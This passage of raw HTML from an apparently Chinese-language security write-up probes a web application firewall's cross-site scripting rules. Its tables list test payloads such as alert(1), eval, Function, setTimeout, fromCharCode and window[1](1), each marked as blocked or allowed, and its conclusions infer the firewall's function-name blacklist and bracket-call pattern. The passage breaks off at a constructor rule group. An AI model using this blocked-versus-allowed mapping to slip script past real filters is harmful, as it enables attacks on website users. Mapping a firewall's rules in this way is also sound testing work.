none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">说明</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=alert(1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">基本 alert 调用</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=alert(1</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">无闭合括号</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=alert</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">单独函数名</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=aLeRt(1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">大小写不敏感</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=confirm(1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">confirm 同样被拦截</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=confirm\</span></code><span style="box-sizing: border-box;"><span leaf="">1</span></span><span style="box-sizing: border-box;"><span leaf="">`</span></span><span style="box-sizing: border-box;"><span leaf="">`</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">反引号语法也被拦截</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=confirm\</span></code><span style="box-sizing: border-box;"><span leaf="">1`</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">无闭合反引号</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=prompt(1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">prompt 同样被拦截</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=eval(1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">eval 被拦截</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=Function(&#39;a&#39;)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">构造函数被拦截</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=setTimeout(&#39;a&#39;,0)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">setTimeout 被拦截</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=fromCharCode(97)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">fromCharCode 被拦截</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=write(1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">允许</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=atob(&#39;a&#39;)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">允许</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=unescape(&#39;a&#39;)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">允许</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=Reflect.get(1,&#39;a&#39;)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">允许</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=alerta(1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">随机函数名允许</span></span></td></tr></tbody></table></figure><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">结论</span></span></strong><span style="box-sizing: border-box;"><span leaf="">: WAF 维护了一个危险函数名黑名单（大小写不敏感），检测到这些函数名与 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">(</span></code><span style="box-sizing: border-box;"><span leaf=""> 或反引号 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">`</span></code><span style="box-sizing: border-box;"><span leaf=""> 组合时触发连接重置。</span></span></p><h6 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;color: rgb(119, 119, 119);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">规则组 C: 全局对象 + 方括号 + 函数调用（触发连接重置）</span></span></h6><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">测试 Payload</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">结果</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=this[1]</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常（无函数调用）</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=this[1](1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=self[1](1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=window[1](1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=top[1](1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=parent[1](1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=g[1](1)</span></code><span style="box-sizing: border-box;"><span leaf=""> (g 是普通变量)</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=x[1](1)</span></code><span style="box-sizing: border-box;"><span leaf=""> (x 是未定义变量)</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td></tr></tbody></table></figure><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">结论</span></span></strong><span style="box-sizing: border-box;"><span leaf="">: WAF 检测 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">this[</span></code><span style="box-sizing: border-box;"><span leaf=""> / </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">self[</span></code><span style="box-sizing: border-box;"><span leaf=""> / </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">window[</span></code><span style="box-sizing: border-box;"><span leaf=""> / </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">top[</span></code><span style="box-sizing: border-box;"><span leaf=""> / </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">parent[</span></code><span style="box-sizing: border-box;"><span leaf=""> 后跟 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">](</span></code><span style="box-sizing: border-box;"><span leaf=""> 的模式。</span></span></p><h6 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;color: rgb(119, 119, 119);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">规则组 D: </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: inherit;"><span leaf="">constructor</span></code><span style="box-sizing: border-box;"><span leaf=""> 原型链遍历（触发连接重置）</span></span></h6><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 